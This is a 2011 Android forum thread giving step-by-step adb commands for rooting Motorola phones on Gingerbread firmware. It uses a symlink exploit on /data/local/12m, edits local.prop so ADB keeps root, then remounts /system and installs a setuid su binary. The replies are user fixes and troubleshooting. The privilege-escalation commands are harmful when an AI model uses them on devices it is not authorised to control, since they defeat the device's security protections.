Jump to content


- - - - -

Root OTA GingerBread!!! And any other Motorola Device for that matter...


29 replies to this topic

#1 OFFLINE   BBCrackman

    Android Master

  • Administrators
  • 2,983 posts
  • Twitter:@bbcrackman
  • Device:Too many...

Posted 25 August 2011 - 01:58 PM

MyDroidWorld nor I are responsible for what you do to your device. This is for linux only

This is an exploit designed to root the Droid 3 by Dan Rosenberg at

Please Login HERE or Register HERE to see this link!

. We would also like to thank all the devs and people that talked Dan into researching this. A few of people have stated that they have used this method along with woodymans directions to finalize root. I have merged the two methods and created this guide.

If you are not familiar with adb do not attempt this. You must be familiar with adb....

You will be trying this at your own risk please post your results. You may have to sbf your device to return it to a useable state.

Log in to the device using “adb shell” and type the following commands:

mv /data/local/12m /data/local/12m.bak
ln -s /data /data/local/12m

Next, physically reboot the device by pressing the power button. When it wakes up, log in using “adb shell” again, and type the following:

rm /data/local/12m
mv /data/local/12m.bak /data/local/12m
mv /data/local.prop /data/local.prop.bak
echo "ro.sys.atvc_allow_netmon_usb=0" >> /data/local.prop
echo "ro.sys.atvc_allow_netmon_ih=0" >> /data/local.prop
echo "ro.sys.atvc_allow_res_core=0" >> /data/local.prop
echo "ro.sys.atvc_allow_res_panic=0" >> /data/local.prop
echo "ro.sys.atvc_allow_all_adb=1" >> /data/local.prop
echo "ro.sys.atvc_allow_all_core=0" >> /data/local.prop
echo "ro.sys.atvc_allow_efem=0" >> /data/local.prop
echo "ro.sys.atvc_allow_bp_log=0" >> /data/local.prop
echo "ro.sys.atvc_allow_ap_mot_log=0" >> /data/local.prop
echo "ro.sys.atvc_allow_gki_log=0" >> /data/local.prop

The ro.sys.atvc_allow_all_adb property is a Motorola-specific configuration that prevents ADB from dropping its root privileges. Reboot the device one final time, and on logging in with “adb shell”, you should be presented with a root prompt. Enjoy!


Download su, unzip and place in your platform-tools folder (android sdk)

using adb type the following commands

adb shell
mount -o remount,rw -t ext3 /dev/block/mmcblk1p21 /system
exit
adb push '/home/user/location/su' /system/bin 
adb shell 
chmod 4755 /system/bin/su
reboot

Once the device comes back up go to the market and download SuperUser and Busybox and install. Make sure you install busybox to the bin directory.

You should have all the access now that you need to do what you like with your device

Attached Files

  • Attached File  su.zip   127.23K   172 downloads

Edited by Andrew, 26 August 2011 - 06:49 AM.

Help support MDW and become a Supporting Member


Remove Advertisements Sponsored Links

    MyDroidWorld.com



#2 OFFLINE   BBCrackman

    Android Master

  • Administrators
  • 2,983 posts
  • Twitter:@bbcrackman
  • Device:Too many...

Posted 25 August 2011 - 02:22 PM

This exploit should work on all Motorola devices. The good news is that this exploit should work on the Bionic when it comes out in two weeks.

Help support MDW and become a Supporting Member


#3 OFFLINE   moosc

    Android Master

  • VIP
  • 1,658 posts
  • LocationCharlotte NC
  • Twitter:moosc
  • Device:DroidX on CM7, XOOM WITH HAMMERHEAD, DROID BIONIC ON STEROIDS 893..

Posted 25 August 2011 - 02:32 PM

Hell yea and the guy didn't even have a droid3 to work on that is amazing

Sent from my Xoom using Tapatalk

#4 OFFLINE   sriehl

    MDW Noob

  • Members
  • Pip
  • 5 posts
  • Device:Droid X

Posted 25 August 2011 - 04:08 PM

This method worked for me on windows as well

#5 OFFLINE   ryanwv24

    Droid

  • Members
  • 126 posts
  • Twitter:@ryanwv24
  • Device:DX

Posted 25 August 2011 - 04:09 PM

moosc said:

Hell yea and the guy didn't even have a droid3 to work on that is amazing

Sent from my Xoom using Tapatalk

He dies now! Mine was bought for him and I shipped it today!
Follow me on Twitter @ryanwv24 or http://twitter.com/ryanwv24#

#6 OFFLINE   BBCrackman

    Android Master

  • Administrators
  • 2,983 posts
  • Twitter:@bbcrackman
  • Device:Too many...

Posted 25 August 2011 - 04:15 PM

ryanwv24 said:

He dies now! Mine was bought for him and I shipped it today!


very cool man! :)

Help support MDW and become a Supporting Member


#7 OFFLINE   x.v_

    Junior Droid

  • Members
  • PipPip
  • 27 posts
  • Device:Droid X

Posted 25 August 2011 - 04:15 PM

echo "ro.sys.atvc_allow_netmon_usb=0" > /data/local.prop
missing second >

#8 OFFLINE   BBCrackman

    Android Master

  • Administrators
  • 2,983 posts
  • Twitter:@bbcrackman
  • Device:Too many...

Posted 25 August 2011 - 04:16 PM

x.v_ said:

echo "ro.sys.atvc_allow_netmon_usb=0" > /data/local.prop
missing second >

Thanks

Help support MDW and become a Supporting Member


#9 OFFLINE   ryanwv24

    Droid

  • Members
  • 126 posts
  • Twitter:@ryanwv24
  • Device:DX

Posted 25 August 2011 - 05:06 PM

ryanwv24 said:

He dies now! Mine was bought for him and I shipped it today!

Does not dies damn auto type
Follow me on Twitter @ryanwv24 or http://twitter.com/ryanwv24#

#10 OFFLINE   #27265

    Android Pro

  • Guests
  • 572 posts
  • LocationTexas
  • Device:HTC Rezound

Posted 25 August 2011 - 05:32 PM

x.v_ said:

echo "ro.sys.atvc_allow_netmon_usb=0" > /data/local.prop
missing second >

is that line of code needed? if so where/when does it get entered?

Sent from my DROIDX using Tapatalk

#11 OFFLINE   BBCrackman

    Android Master

  • Administrators
  • 2,983 posts
  • Twitter:@bbcrackman
  • Device:Too many...

Posted 25 August 2011 - 06:03 PM

cdexsw said:

is that line of code needed? if so where/when does it get entered?

Sent from my DROIDX using Tapatalk

The OP was fixed and reads correctly

Help support MDW and become a Supporting Member


#12 OFFLINE   Chipworkz

    Junior Droid

  • Members
  • PipPipPip
  • 33 posts
  • Device:Droid X

Posted 25 August 2011 - 07:37 PM

So now that this is displayed in the public, how long before Motorola fixes the exploit?

#13 OFFLINE   dirtydroidx

    Android Master

  • Members
  • 806 posts
  • Twitter:http://twitter.com/dirtydroidx
  • Device:Bionic,facinate,galaxy tab ,thunderbolt

Posted 25 August 2011 - 08:11 PM

Very cool. Thanks BBC :-)

Sent from my T-bolt or my Gtab, from WillyWonka's chocolate factory, secreted on Tapatalk.
Become a supporting member at mydroidworld
If I helped you hit the Thanks Button.
Follow me on Twitter @dirtydroidx

#14 OFFLINE   #27265

    Android Pro

  • Guests
  • 572 posts
  • LocationTexas
  • Device:HTC Rezound

Posted 25 August 2011 - 08:30 PM

BBCrackman said:

The OP was fixed and reads correctly

thanks :)

Sent from my DROIDX using Tapatalk

#15 OFFLINE   mavr1k

    MDW Noob

  • Members
  • Pip
  • 8 posts
  • Device:Droid X

Posted 25 August 2011 - 08:51 PM

Before I could push su to my DX, I needed to remount the filesystem as RW:


mount -o remount,rw -t ext3 /dev/block/mmcblk1p21 /system



#16 OFFLINE   BBCrackman

    Android Master

  • Administrators
  • 2,983 posts
  • Twitter:@bbcrackman
  • Device:Too many...

Posted 25 August 2011 - 09:50 PM

mavr1k said:

Before I could push su to my DX, I needed to remount the filesystem as RW:

mount -o remount,rw -t ext3 /dev/block/mmcblk1p21 /system

Updated OP

Help support MDW and become a Supporting Member


#17 OFFLINE   technique

    Junior Droid

  • Members
  • PipPip
  • 10 posts
  • Device:Droid X

Posted 26 August 2011 - 04:47 AM

BBCrackman said:

Updated OP

Pretty sure it needs to be this:

adb shell
mount -o remount,rw -t ext3 /dev/block/mmcblk1p21 /system
exit
adb push '/home/user/location/su' /system/bin
adb shell
chmod 4755 /system/bin/su
reboot



BTW, everything worked 100% on my stock Droid X running latest OTA. Great job!

Edited by technique, 26 August 2011 - 05:05 AM.


#18 OFFLINE   usnwxguy

    MDW Noob

  • Members
  • Pip
  • 1 posts
  • Device:Motorola Droid X

Posted 26 August 2011 - 09:30 AM

i put the SU file in my tools folder and typed this code line exactly as is
adb push '/home/user/location/su' /system/bin
and i get an error stating cannot stat '/home/user/location/su': No such file or directory.
please help! everything up to this point has worked and i do have a root prompt in adb shell

Edited by usnwxguy, 26 August 2011 - 10:19 AM.


#19 OFFLINE   dabigoreo

    Junior Droid

  • Members
  • PipPipPip
  • 31 posts
  • Device:Droid X

Posted 28 August 2011 - 08:02 PM

usnwxguy said:

i put the SU file in my tools folder and typed this code line exactly as is
adb push '/home/user/location/su' /system/bin
and i get an error stating cannot stat '/home/user/location/su': No such file or directory.
please help! everything up to this point has worked and i do have a root prompt in adb shell
Not being very familiar with Linux and know just enough to be dangerous I tend to follow this logic for pretty much ANY computer-type OS - a file or directory path is either there or it isn't, there is no gray. Is there a directory /home/user/location/? The command is either copying or moving the "su" file from that directory so if it's not there you will get an error message. I'm toying with trying this myself (full manual method) versus this http://www.mydroidwo...ingerbread.html. After inspecting the BAT in the one-click method, it seems to me that the only thing that appears to need changed is the path for su and busybox, /system/bin/ instead of /system/xbin/. I'll update this if I decide to nuke my phone and try it out. Runnin DSX now which has been very good to me, big thanks to BBCrackman for his efforts!

#20 OFFLINE   #27265

    Android Pro

  • Guests
  • 572 posts
  • LocationTexas
  • Device:HTC Rezound

Posted 28 August 2011 - 10:30 PM

when i get a chance i will try both methods using windows & linux on my spare dx.

Sent from my DROIDX using Tapatalk





1 user(s) are reading this topic

0 members, 1 guests, 0 anonymous users